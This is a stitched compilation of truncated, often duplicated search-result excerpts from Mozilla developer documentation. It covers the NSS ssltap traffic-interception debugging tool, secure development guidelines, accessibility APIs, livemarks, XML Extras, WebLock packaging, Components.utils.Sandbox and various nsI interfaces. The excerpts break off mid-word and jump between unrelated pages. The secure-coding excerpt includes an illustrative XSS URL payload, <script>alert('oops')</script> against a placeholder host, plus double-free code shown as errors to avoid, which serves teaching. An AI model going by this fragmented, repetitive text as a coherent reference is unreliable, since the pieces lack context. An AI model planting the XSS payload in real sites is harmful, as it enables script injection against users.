...y issuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols...
...ta ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, printable interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. example 1 $ ssltap.exe -sx -p 444 interzone.mcom.com:443 > sx.txt output connected to in...
.../des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the default badcert callback, you can still connect through a dialog. if you are not using the default badcert callback, the one you supply must ...
NSS tools : ssltap
ascii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the server's reply is in red. when used with looping mode, the different connections are separated with horizontal lines. you can use this option to upload the output into a browser. -s turn on ssl parsing and decoding. the tool does not automatically detect ssl sessions. if you are intercepting an ssl connection, use this option so that the tool can detect and decode ssl structures. if the tool detects a certificate chain, it saves the der-encoded certificates into files in the current directory. the files are named cert.0x, where x is the sequence number of the certifica...
...y issuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols...
...ta ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, printable interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. example 1 $ ssltap.exe -sx -p 444 interzone.mcom.com:443 > sx.txt output connected to in...
.../des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the default badcert callback, you can still connect through a dialog. if you are not using the default badcert callback, the one you supply must ...
NSS Tools ssltap
scii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the server's reply is in red. when used with looping mode, the different connections are separated with horizontal lines. you can use this option to upload the output into a browser. -s turn on ssl parsing and decoding. the tool does not automatically detect ssl sessions. if you are intercepting an ssl connection, use this option so that the tool can detect and decode ssl structures. if the tool detects a certificate chain, it saves the der-encoded certificates into files in the current directory. the files are named cert.0x, where x is the sequence number of the certif...
...ssuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: ssltap www.netscape.com:80 the program waits for an incoming connection on the default port 1924. in your browser window, enter the url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbo...
... ] the raw data stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, printable interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. example 1 the s and x options in this example turn on ssl parsing and show und...
... (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db0xcfe9 }}]<additional records in same formats>server socket closed. usage tips when ssl restarts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the default badcert callback, you can still connect through a dialog. if you are not using the default badcert callback, the one you supply must...
NSS tools : ssltap
Mozilla › Projects › NSS › tools › ssltap
inting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the server's reply is in red. when used with looping mode, the different connections are separated with horizontal lines. you can use this option to upload the output into a browser. -s turn on ssl parsing and decoding. the tool does not automatically detect ssl sessions. if you are intercepting an ssl connection, use this option so that the tool can detect and decode ssl structures. if the tool detects a certificate chain, it saves the der-encoded certificates into files in the current directory. the ...
...ap command with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the fo...
...ta stream is sent to standard output and is not interpreted in any way. this can result in peculiar effects, such as sounds, flashes, and even crashes of the command shell window. to output a basic, printable interpretation of the data, use the -h option, or, if you are looking at an ssl connection, the -s option. you will notice that the page you retrieved looks incomplete in the browser. this is because, by default, the tool closes down after the first connection is complete, so the browser is not able to load images. to make the tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. example 1 $ ssltap.exe -sx -p 444 interzone.mcom.com:443 > sx.txt ...
.../rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl restarts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, restart the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using the default badcert callback, you can still connect through a dialog. if you are not using the default badcert callback, the one ...
Secure Development Guidelines
ng it examples: if it doesn’t have to be negative, store it in an unsigned int if the input doesn’t have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following snippet of javascript: document.write("welcome to " + document.location); ... is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention esc...
... do_something(); delete ptr1; do_something_else(); ptr2 = new char[-1] // oom } catch (...) { delete ptr1; delete ptr2; } new will throw an exception — ptr1 is already freed in the try block then freed again in the catch block freeing un-initialized data free data in the catch block assumption is that it’s initialized in the try block if the try block throws before the variable is initialized, the catch block will operate on un-intialized data freeing un-initialized data example: int main(){ char *ptr; try { ptr = new char[-1]; // oom } catch(...) { delete ptr; } } freeing un-initialized data: prevention be careful when freeing data in catch blocks make sure the try block can’t throw before data is...
...code that might throw an exception ... delete p; } catch (...) { ... } } memory leaks: prevention any acquired resourc...
...lock does not foresee this and doesn't free the memory freeing un-initialized data example: int main(){ char *p; try { p = new char [1000]; ... code that might throw an exception ... delete p; } catch (...) { ... } } memory leaks: prevention any acquired resource in a try block should be freed in a catch block (if the try block throws before the resource is freed) might be helpful to initialize variables null for pointers -1 for file descriptors ...
AT APIs Support
ls for their user interface -- the area outside of the client content window, plus the context menu. on windows platform mfcembed testing client - this is a very simple package, great for testing basic html accessibility with your products and the gecko rendering engine (please contact us for a copy). ...
...lease contact us for a copy). k-meleon - light, ultra-fast and more advanced (fully configurable) gecko-based web browser available on the windows platform on linux/unix platform yelp help viewer - the help viewer in gnome evolution email - provides integrated mail, addressbook and calendaring functionality to users of the gnome desktop. on mac platform camino - web browser for os x xul applications xul applications make full use of the gecko architecture, not only for html content, but also for the entire user interface. widgets such as menus, tab panels, tree views and dialogs are provided via an xml language called xul (extensible user-interface language). none of the user interface contains standard os controls. this is done to ensure a common look and...
...er interface contains standard os controls. this is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). developing a xul window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets. examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-mail and newsgroup client, irc chat client, and html editing made simple sunbird - cross-platform calendar application kompozer - a complete web authoring system for linux desktop, microsoft windows and macintosh users to rival programs like frontpage and dreamweaver. open komodo - platform for building developer environments ...
...lementation details page to see how gecko supports interesting at api. there you will find information how at api interfaces, roles, states and etc are mapped into gecko accessibility api and visa versa. keyboard user interface and api fortunately, gecko uses the standard keyboard api's for each supported platform. the mozilla keyboard shortcuts for content are similar to what is used in other browsers. here is a list of firefox keyboard shortcuts. test tools here you will find a list of tools to test accessibility gecko-based applications. msaa msaa sdk tools - version 1.3 is recommended instead of 2.0 because it includes source code for the tools iaccessible2 accessibility probe -- includes msaa support as well atk/at-spi accerciser - interactive python a...
Using the Places livemark service
ice, offered by the nsilivemarkservice interface, is used to create, edit, and reload livemarks. you can also use it to check whether an item is a livemark. livemarks are bookmark folders that contain the most recent items from an rss feed. initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark. var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), ...
... to insert at, or -1 to append the new livemark to the end of the folder. you can convert a string into an nsiuri using nsiioservice. when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. getservice(components.interfaces.nsinavbookmarksservice); var root = bmsvc.bookmarksmenufolder; // item id of the bookmarks menu var newlvmkid = livemarkservice.createlivemarkfolderonly(bmsvc, root, "livemark name", uri("http://example.com/"), ...
...of feed associated with a livemark container. note: the caller is responsible for reloading the livemark after changing its feed uri (since the contents are likely to be different given a different feed). livemarkservice.setfeeduri(newlvmkid, uri("http://foo.example.com/rss.xml")); //newlvmkid = see "create a new livemark" for more detail. update behavior five seconds after the browser starts up, the livemark service's update timer is started. the update timer fires immediately, and then every 15 minutes thereafter. when the update timer fires, it iterates over the list of livemarks, and will refresh a livemark *only* if it's expired. the expiration time for a livemark is determined by using information provided by the server when the feed was requested, specifically nsicache...
...terates over the list of livemarks, and will refresh a livemark *only* if it's expired. the expiration time for a livemark is determined by using information provided by the server when the feed was requested, specifically nsicacheentryinfo.expirationtime. if no information was provided by the server, the default expiration time is 1 hour. users can modify the default expiration time via the <tt>browser.bookmarks.livemark_refresh_seconds</tt> preference, which indicates the expiration time in seconds. see also places ...
XML Extras
the xml extras module contains several features that allow developers to treat xml as data i.e. not as just another document format. the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users. the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds. feature status feature status xmlserializer available xmlhttprequest available domparser (string and stream input source) available web services with soap and wsdl no longer available from gecko 1.9/firefox 3. xml persistence fixptr and xpointer available since 1.4alpha in the core mozilla. moved to xml e...
... owner will manage the tests associated with their component, act as qa contact for related bugs and help with regression testing. contribute a test suite or individual tests that use the implemented components. file bugs for new test you have, and/or check them into extensions/xmlextras/tests/. file bugs against the implemented components. bugs should be filed against the xml component in the browser product. documentation probably the best way to learn how to use these technologies is through examples. there are some in extensions/xmlextras/tests/. if you follow that link to look at the examples you will need to look at page source for the html documents. for xmlhttprequest object you can mostly rely on the microsoft xmlhttprequest documentation, with some caveats: all functions and pr...
... documentation, with some caveats: all functions and property names begin with a lower case letter and the object creation is different. some properties are not implemented. thad hoffman has written a document that shows how you can mimic xml data islands in mozilla. edmond woychowsky has also written articles on xml data islands in mozilla: "make xml data islands work in mozilla", "build cross-browser xml paging code" and "implement a flexible shopping cart with xml and asp". the mozilla developer center has several pages for xmlhttprequest. below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive? begins with lower case letter xmlhttprequest creation new acti...
....7 (actually nightly 2001-11-28). with older builds, passing strings to send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document into send(). xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you need to enable universalbrowserread privilege in your scripts - see the javascript security: signed scripts document for more details. normally your files should reside on a webserver so this shouldn't pose a problem (there you do not need that line either). additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. you cannot open a connection to a different host. domparser cr...
Packaging WebLock
ications, see http://www.mozilla.org/projects/xpinstall. component installation overview xpinstall is a set of javascript apis for creating installation scripts. using xpinstall, you can create web-based installations for gecko-based applications, mozilla extensions, or individual components. the installation script for the weblock component can also be used to register the component with the browser into which it is installed (see registration methods in xpcom for more information on registration). the sample installation script shown below uses the mozilla xpinstall technology to manipulate an installer and talk to mozilla'schrome registry as high-level javascript objects. what is the chrome registry? like the windows registry, the chrome registry is a database of information about ap...
...abase of information about applications, skins, and other extensions that have been installed in a gecko application. since mozilla and other gecko-based applications are cross-platform, this database is abstracted above the operating system or any particular platform's registry. the chrome registry lives in a series of rdf/xml files in the application directory of mozilla and other gecko-based browsers, where new installs, user configurable data, skins, and other information are related to one another and the application itself. javascript apis from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the new component and the ui it uses to access the weblock component. weblock installation script is the c...
....js. once you have the component and the other resources for weblock packaged properly (see the following section, archiving resources), the installation script for weblock is a simple one (see the weblock installation script). archiving resources once you have compiled all the resources that make up the weblock component and the files that make up the user interface that will be added to the browser, you can place these within a subdirectory called weblock. place the entire subdirectory into a zip archive and name the archive weblock.xpi. the archive, its subdirectory structure, and its contents should look like this: weblock.xpi archive viewed in winzip note that the top level of the archive holds the install.js installation file, an rdf manifest for the package as a whole, and the c...
...alltrigger.install(weblock_xpi); } </script> <h1>install weblock</h1> <p><a href="#" onclick="installweblock();">install weblock</a></p> </html> distributing your component once you have the component packaged properly and the necessary installation and trigger scripts, you are ready to distribute your component so others can install it in their gecko applications. in mozilla and netscape browsers, xpinstall makes this process especially easy by providing the file format (xpi) and the necessary installation scripts for doing a web-based installation. as weblock installation script demonstrates, xpinstall uses special keywords to refer to common installation directories such as components in a generalized, cross-platform way. if you are installing weblock in an gecko-based application f...
Starting WebLock
example, the user interface needs to be able to enable and disable the web locking functionality, see what sites are in the whitelist, and add or remove sites from that list. weblock needs to provide an api, and it needs to hook into gecko in order to implement the actual locking functionality. the weblock user interface the weblock component in this tutorial uses xul to define the additional browser ui in a cross-platform way, and xul uses javascript to access and control xpcom components, but gecko's pluggable ui allows any user interface to call into gecko and the components you create as easily as you can from xul. see xul for a discussion of how xul interacts with javascript and xpcom. creating the weblock programming interface design is one of the hardest parts of any programming p...
...unctionality. instead of starting with the implementation, developers use xpidl (see xpidl and type libraries for more information about xpidl) to define the interface to the component: how the functionality should be organized, expressed, and exposed to its clients. in general, the weblock service interface needs to include the following functionality: lock - enable web locking so that any browser in the gecko application is restricted to the white list of website domains. unlock - disable web locking. this should allow any browser in the gecko application to browse any website regardless of the white list. addsite - add the current url to the white list. removesite - remove the current url from the white list. enumeratesites - allows the enumeration of all sites in the white list. e...
...\n", rv); return -1; } implementing the iweblock interface once the interface is defined, you can focus on implementing the web lock startup functionality itself. the weblock component starts automatically when xpcom is started up because it's been registered as a category in xpcom. when weblock is called, one of the first things it wants to do is read in a file that lists the urls that the browser is allowed to load. this file can exist anywhere on the local system, but we've placed it next to the application to keep things simple. the first step in this implementation phase, then, is to create the functionality that accesses this weblock white list and uses its data to determine which domains are allowed and which are to be blocked. for this, we need to use the file interfaces available...
...u need to store it in some way to make data access quick and efficient. url checking the way in which url checking is implemented in the weblock component is not at all optimal. the weblock component manages a simple linked list of url strings. a linear search through the data in the white list may not be terribly bad if the number of urls is under a couple of dozen, but it decays as the list grows. there's also a large bottleneck in the network request. url data is accessed as in the diagram below: you might construct hash values for each of the url strings instead, or add them to some kind of database. but we leave optimizations and real-world performance for web locking to the reader. iweblock method by method the implementation of the iweblock interface is straightforward. weblock...
Components.utils.Sandbox
indow property as a string uri like "http://www.example.com/" (discouraged) when possible, specify a window or an nsiprincipal object instead of using a string uri. window objects and nsiprincipal carry additional information such as origin attributes and same-origin privilege changes caused by setting document.domain. example of obtaining content principal from the window: var principal = gbrowser.selectedtab.linkedbrowser.contentprincipal; var sandbox = components.utils.sandbox(principal); expanded principal an expanded principal is specified as an array of the principals it subsumes. each item in the array should be an nsiprincipal, a dom window, or a uri. so this can be simply an array with a single element. for example the content principal above can be made expanded/extended like...
...ser.contentprincipal; var sandbox = components.utils.sandbox(principal); expanded principal an expanded principal is specified as an array of the principals it subsumes. each item in the array should be an nsiprincipal, a dom window, or a uri. so this can be simply an array with a single element. ...
...sandbox = components.utils.sandbox(principal); expanded principal an expanded principal is specified as an array of the principals it subsumes. each item in the array should be an nsiprincipal, a dom window, or a uri. so this can be simply an array with a single element. for example the content principal above can be made expanded/extended like so: var principal = [gbrowser.selectedtab.linkedbrowser.contentprincipal]; // this is now an expanded (aka extended) principal var sandbox = components.utils.sandbox(principal); null principal you can create a null principal using code like: cc["@mozilla.org/nullprincipal;1"].createinstance(ci.nsiprincipal); from firefox 37 onwards, you can also specify the null principal by simply passing null as the principal argument. options the constructo...
... sandbox might be a third-party library that sets expando properties or adds event listeners to a window. in this case, components.utils.nukesandbox can be used to force the sandbox to be freed immediately. example executing in current tab scope more ways to load scripts into a sandbox can be found on the loading scripts page. this example is to be run from scratchpad with environemnt set to browser. it alerts the dollar sign function. this code was tested on twitter.com and gets access to the jquery $. var sandboxscript = 'alert($)'; var options = { sandboxprototype: content, wantxrays: false // only set this to false if you need direct access to the page's javascript. true provides a safer, isolated context. }; var sandbox = cu.sandbox(content, options); cu.evalinsandbox(sandbo...
nsIAccessibleRole
represents the system mouse pointer. role_caret 7 represents the system caret. the role is supported for caret. role_alert 8 represents an alert or a condition that a user should be notified about. assistive technologies typically respond to the role by reading the entire on screen contents of containers advertising this role. should be used for warning dialogs, etc. the role is used by xul:browsermessage, role="alert", xforms:message. role_window 9 represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. the role is supported automatically by ms windows. role_internal_frame 10 a sub-document or iframe. role_menupopup 11 represents a menu, which presents a list of options from which the user can make a selection ...
...ures. it is used for xul:toolbar, role="toolbar". role_statusbar 23 represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. the status bar has multiple fields, which display different kinds of information. it is used for xul:statusbar. role_table 24 represents a table that contains rows and columns of cells, and optionally, row headers and column headers. it is used for html:table, role="grid". also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. role_columnheader 25 represents a column header, providing a visual label for a column in a table. it is used for xul tree column headers, html:th, role="colheader". also refer to rol...
...orts internal frames and iconified versions of those internal frames. role_directory_pane 72 a directory pane. a pane that allows the user to navigate through and select the contents of a directory. may be used by a file chooser. also refer to role_file_chooser. role_file_chooser 73 a file chooser. a specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. may use the directory pane to show the contents of a directory. also refer to role_directory_pane. role_font_chooser 74 a font chooser. a font chooser is a component that lets the user pick various attributes for fonts. role_chrome_window 75 frame role. a top level window with a title bar, border, menu bar, etc. it is often used as the primary wi...
... menu. role_terminal 91 represents an accessible terminal. role_text_container 92 collection of objects that constitute a logical text entity. role_toggle_button 93 a toggle button. a specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state. role_tree_table 94 representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data. role_viewport 95 a viewport. an object usually used in a scroll pane. it represents the portion of the entire data that the user can see. as the user manipulates the scroll bars, the contents of the viewport can change. also refer to role_scroll_pane. role_header 96 header of a document page. also refer to role_footer. role_footer 97 footer of a ...
nsIDBFolderInfo
arptrproperty() string getcharptrproperty( in string propertyname ); parameters propertyname missing description return value missing description exceptions thrown missing exception missing description native code only!getlocale obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void getlocale( in nsstring result ); parameters result missing description exceptions thrown missing exception missing description native code only!getmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it...
...ed since it could be removed at any time. try to avoid using it. void getlocale( in nsstring result ); parameters result missing description exceptions thrown missing exception missing description native code only!getmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void getmailboxname( in nsstring boxname ); parameters boxname missing description exceptions thrown missing exception missing description getproperty() astring getproperty( in string propertyname ); parameters propertyname missing description return value...
... void sethighwater( in nsmsgkey highwater, in boolean force ); parameters highwater missing description force missing description exceptions thrown missing exception missing description native code only!setlocale obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void setlocale( in nsstring locale ); parameters locale missing description exceptions thrown missing exception missing description native code only!setmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it...
...ed since it could be removed at any time. try to avoid using it. void setlocale( in nsstring locale ); parameters locale missing description exceptions thrown missing exception missing description native code only!setmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void setmailboxname( in nsstring newboxname ); parameters newboxname missing description exceptions thrown missing exception missing description setproperty() void setproperty( in string propertyname, in astring propertystr ); parameters propertyname miss...
nsIDOMChromeWindow
messagemanager nsichromeframemessagemanager read only. title domstring obsolete since gecko 1.9.1 windowstate unsigned short returns current window state, the value is one of ...
... messagemanager nsichromeframemessagemanager read only. title domstring obsolete since gecko 1.9.1 windowstate unsigned short returns current window state, the value is one of state_* constants. r...
... messagemanager nsichromeframemessagemanager read only. title domstring obsolete since gecko 1.9.1 windowstate unsigned short returns current window state, the value is one of state_* constants. read only. constants consta...
... messagemanager nsichromeframemessagemanager read only. title domstring obsolete since gecko 1.9.1 windowstate unsigned short returns current window state, the value is one of state_* constants. ...
nsINavHistoryService
toolkit/components/places/nsinavhistoryservice.idlscriptable this interface provides complex query functions, more fine-grained getters and setters. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1". ...
...riptable this interface provides complex query functions, more fine-grained getters and setters. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1". ...
... nsifile file); astring getcharsetforuri(in nsiuri auri); astring setcharsetforuri(in nsiuri auri, in astring acharset); attributes attribute type description hashistoryentries boolean true if there is any history. this can be used in ui to determine whether the "clear history" button should be enabled or not. this is much better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate each item). this is pretty fast. historydisabled boolean true if history is disabled. currently, history is disabled if the browser.history_expire_days pref is "0". constants transition type constants constant value description transition_link 1 this tra...
... is set when the user followed a link that loaded a page in a frame. methods getpagetitle() this method retrieves the original title of the page. astring getpagetitle( in nsiuri auri ); parameters auri the page whose title needs to be retrieved. return value returns the original title of the page. markpageasfollowedbookmark() this method is just like markpageastyped (in nsibrowserhistory, also implemented by the history service), but for bookmarks. it declares that the given uri is being opened as a result of following a bookmark. if this uri is loaded soon after this message has been received, that transition will be marked as following a bookmark. void markpageasfollowedbookmark( in nsiuri auri ); parameters auri the page that is to be marked as followed by a ...
nsIPluginHost
native code only!createtempfiletopost to create temp file with content len header in, it will use by http post. nsifile createtempfiletopost( in string apostdataurl ); parameters apostdataurl return value native code only!createtmpfiletopost obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to create temp file with content len header in, it will use by http post. void createtmpfiletopost( in string apostdataurl, out string atmpfilename ); parameters apostdataurl atmpfilename native code only!deletepluginnativewindow deletes plugin native window object created by newpluginn...
... return value getplugincount() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void getplugincount( out unsigned long aplugincount ); parameters aplugincount native code only!getpluginfactory obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. nsiplugin getpluginfactory( in string amimetype ); parameters amimetype return value native code only!getpluginname get the plugin name for the plugin instance. void getpluginname( in nsiplugininstance ainstance, [shared] out string apluginname ); parameters ainstance the plugin ...
...auses the plugins directory to be searched again for new plugin libraries. void reloadplugins( in boolean reloadpages ); parameters reloadpages indicates whether currently visible pages should also be reloaded. native code only!setisscriptableinstance obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to notify the plugin manager that the plugin created a script object. void setisscriptableinstance( in nsiplugininstance ainstance, in boolean ascriptable ); parameters ainstance ascriptable native code only!setupplugininstance void setupplugininstance( in string amimetype, in nsiuri ...
...then using nsihandlerservice it gets the handler info. a handler is, default application that should open or deal with this file. let pluginhost = cc["@mozilla.org/plugin/host;1"].getservice(ci.nsipluginhost); let handlerservice = cc['@mozilla.org/uriloader/handler-service;1'].getservice(ci.nsihandlerservice); let mimeservice = ...
nsISHistory
docshell/shistory/public/nsishistory.idlscriptable an interface to the primary properties of the session history component. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in an embedded browser environment, the nsiwebbrowser object creates an instance of session history for each open window. a handle to the session history object can be obtained from nsiwebnavigation. ...
...ird 3.3 / seamonkey 2.1) in an embedded browser environment, the nsiwebbrowser object creates an instance of session history for each open window. a handle to the session history object can be obtained from nsiwebnavigation. in a non-embedded situation, the owner of the session history component must create a instance of it and set it in the nsiwebnavigation object. implemented by: @mozilla.org/browser/shistory;1. ...
...n instance of session history for each open window. a handle to the session history object can be obtained from nsiwebnavigation. in a non-embedded situation, the owner of the session history component must create a instance of it and set it in the nsiwebnavigation object. implemented by: @mozilla.org/browser/shistory;1. ...
...e current index of session history should be modified to the parameter index. exceptions thrown ns_ok history entry for the index is obtained successfully. ns_error_failure error in obtaining history entry for the given index. purgehistory() called to purge older documents from history. documents can be removed from session history for various reasons. for example to control memory usage of the browser, to prevent users from loading documents from history, to erase evidence of prior page loads and so on. void purgehistory( in long numentries ); parameters numentries the number of toplevel documents to be purged from history. during purge operation, the latest documents are maintained and older numentries documents are removed from history. exceptions thrown ns_error_failure ...
nsITreeView
read only. selection nsitreeselection the selection for this view. constants constant value description progress_normal 1 note: renamed from progressnormal in gecko 1.8 progress_undetermined 2 note: renamed from progressundetermined in gecko 1.8 progress_none ...
...read only. ...
... names. example your function will not be provided with a properties array. (this is one way of detecting the version at run-time). simply return a string of space-separated property names. for example: getrowproperties: function(index) { return "dummy"; } obsolete since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var atomservice = components.classes["@mozilla.org/atom-service;1"].getse...
... march down the view looking at levels can optimize the march by starting at afterindex+1. boolean hasnextsibling( in long rowindex, in long afterindex ); parameters rowindex the index of the item. afterindex the index of the item to find siblings after. return value true if the row has a next sibling. otherwise false iscontainer() whether the row has the potential to hold other rows within it. this does not determine whether a twisty is actually drawn; that's left up to iscontainerempty. for very simple tree views, such as those without multi-level data, you might want to consider using something simpler than a tree view, such as a listbox. for tree views with multi-level data, it's advisable to distinguish between a row which is an empty container (i.e., a row with the pot...
nsIWebContentHandlerRegistrar
